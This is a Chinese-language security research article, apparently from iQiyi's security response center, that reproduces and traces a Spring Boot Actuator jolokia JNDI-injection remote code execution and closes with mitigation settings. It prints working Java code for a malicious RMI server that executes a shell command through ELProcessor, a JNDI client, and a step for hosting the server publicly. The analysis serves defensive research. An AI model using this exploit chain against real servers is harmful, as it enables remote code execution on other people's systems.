最近,在内部RSS聚合中,我们发现一篇 《exploit-spring-boot-actuators》 [1]。Spring Boot是目前非常流行的应用, 通过爱奇艺云扫描平台[2], 可定位内部多个正在使用Actuator的服务。
跟进分析后,我们发现这个漏洞是通过Spring Boot Actuator的jolokia接口利用JNDI来实现的,本文介绍PoC的复现及分析。
Spring Boot Acuator
Spring Boot Acuatorr可以帮助你监控和管理Spring Boot应用,比如健康检查、审计、统计和HTTP追踪等。所有的这些特性可以通过JMX或者HTTP endpoints来获得
常用的端点有:
health | 显示应用的健康状态 |
env | 显示当前的环境特性 |
info | 显示应用的基本信息 |
如果是一个Web应用, 可以使用下述endpoint
jolokia | 暴露在HTTP协议上的JMX beans |
详细介绍请参考 《Spring Boot官方文档》 [3]:
JNDI
JDNI是Java技术中的一个指定的API, 为Java应用来提供命名与目录功能。 Java应用程序可以使用JDNI来存储与检索任何类型的Java对象.
编写过程
通过搜集信息, 我们总共了解到 /jolokia 接口有两个类可以实现命令执行:
ch.qos.logback.classic reloadByURL
org.apache.catalina.mbeans.MBeanFactory
对云扫描的资产中发现, 仅存在第2个类, 但是1,2 使用的都是JDNI注入, 通过RMI/LDAP调用。于是使用ysoseria.jar 生成一个rmi接口。 测试结果在jdk 8 上并没有成功。
根据参考资料[4], 自己利用 javax.EL.Processer
类来声明了一个RMI接口, 利用参考资料[5]的POC成功复现了,但是对于JDNI注入这里,还是有点不明白, 所以自己又调试了一下,以下是过程:
分析
先写一个RMI类, 使用ResourceRef调用
javax.el.ELProcessor
类中的eval
方法; 绑定到1097端口上, 类中函数执行一个touch /tmp/pwd.txt
的操作
//// Source code recreated from a .class file by IntelliJ IDEA// (powered by Fernflower decompiler)//import com.sun.jndi.rmi.registry.ReferenceWrapper;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import javax.naming.StringRefAddr;import org.apache.naming.ResourceRef;public class EvilRMIServerNew {public EvilRMIServerNew() {}public static void main(String[] args) throws Exception {System.out.println("Creating evil RMI registry on port 1097");Registry registry = LocateRegistry.createRegistry(1097);ResourceRef ref = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);ref.add(new StringRefAddr("forceString", "x=eval"));ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("newjava.lang.ProcessBuilder["(java.lang.String[])"](["/bin/bash", "-c","touch /tmp/pwd.txt"]).start()")"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind("Object", referenceWrapper);}}
2. 再写一个client类, 利用JDNI的lookup来加载一下
import javax.naming.Context;import javax.naming.InitialContext;public class JNDIClient {public static void main(String[] args) throws Exception {String uri = "rmi://localhost:1097/Object";Context ctx = new InitialContext();ctx.lookup(uri);}}
3. 过程如下
调用InitialContext
类中的lookup
方法
public Object lookup(String name) throws NamingException {return getURLOrDefaultInitCtx(name).lookup(name);}
再调用该类中的getURLOrDefaultInitCtx
方法, 跳到hasInitialContextFactoryBuilder
分支,进行getUrlContext
函数
该方法返回一个 getDefaultInitCtx()
结果, 我们再看该函数返回了一个Context类, 并用该类的实例进行lookup函数查询name="rmi://localhost:1097/Object"的查找
接着进入了RegistryContext
的lookup
函数中,并调用了该类的decodeOjbect
函数, 因为 在我们的server中, ReferenceWrapper
类继承了接口RemoteReference
, 所以进入了第一个分支中
然后获取到了远程的obj
由于 注册server中ref
类继承了Reference
, 所以我们获取到了一个ref对象, 并通过NamingManager.getObjectInstance
来获取对象实例
Reference ref = null;if (obj instanceof Reference) {ref = (Reference) obj;...
进入NamingManager.getObjectInstance
后, 首先获取到FactoryClassName, 上图可知,该类名为org.apache.naming.factory.BeanFactory
, 然后由该工厂类的实例进入其getObjectInstance
函数中
if (ref != null) {String f = ref.getFactoryClassName();if (f != null) {// if reference identifies a factory, use exclusivelyfactory = getObjectFactoryFromReference(ref, f);if (factory != null) {return factory.getObjectInstance(ref, name, nameCtx,environment);
BeanFactory.getObjectInstance
类中,部分代码如下,获取远程对象的forceString
的值, 并以逗号来切分,再分别定位切分后的"="所在位置
RefAddr ra = ref.get("forceString");Map<String, Method> forced = new HashMap();String value;String propName;int i;if (ra != null) {value = (String)ra.getContent();Class<?>[] paramTypes = new Class[]{String.class};String[] arr$ = value.split(","); //如果forceString的值有多少,就用","来切分i = arr$.length;for(int i$ = 0; i$ < i; ++i$) {String param = arr$[i$];param = param.trim();int index = param.indexOf(61); //对于切分后的每个值, 定位其中的"="if (index >= 0) {propName = param.substring(index + 1).trim();param = param.substring(0, index).trim();} else {propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);}try {forced.put(param, beanClass.getMethod(propName, paramTypes)); //forceString以=切分后的值 ,存储到HASHMAP中...
接下来就是一系列的whil(True)来获取对象的各种变量值; 最后通过method.invoke()
如下图最终执行命令
动图
POC
所以最终的POC为, 使用
EvilRMIServerNew
在公网上开放一个端口, 将POC中的ldap接口改为自己的所在的端口即可, 详见71SRC的github: https://github.com/71src/code_share
漏洞缓解
开启security.enable或者启用单独的endpoint
在application.properties中设置
management.security.enabled=true
如果版本不对,可以直接设置
endpoint
的启用endpoints.enabled = false # 默认不启用endpoints.env.enabled = true # 仅开启 env 这个endpoints
env, configprops等会泄露服务器信息, 建议关闭端点. 如果需要启用, 使用认证
management.port=8099management.security.enabled=truesecurity.user.name=adminsecurity.user.password=admin
所有版本禁止设置使用* 通配符的配置
management.endpoints.web.exposure.include=*
参考
【Exploiting Spring Boot Actuators】: https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
【爱奇艺安全攻防实践】: https://github.com/71src/iqiyi_security_conference_2018
【Spring Boot官方文档】: https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html
【Exploiting JNDI Injections in Java】: https://www.veracode.com/blog/research/exploiting-jndi-injections-java
【Attack Spring Boot Actuator via jolokia Part 2 】: https://lucifaer.com/2019/03/13/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%202/
作者 | jiaxiaoyan
声明:本文来自爱奇艺安全应急响应中心,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。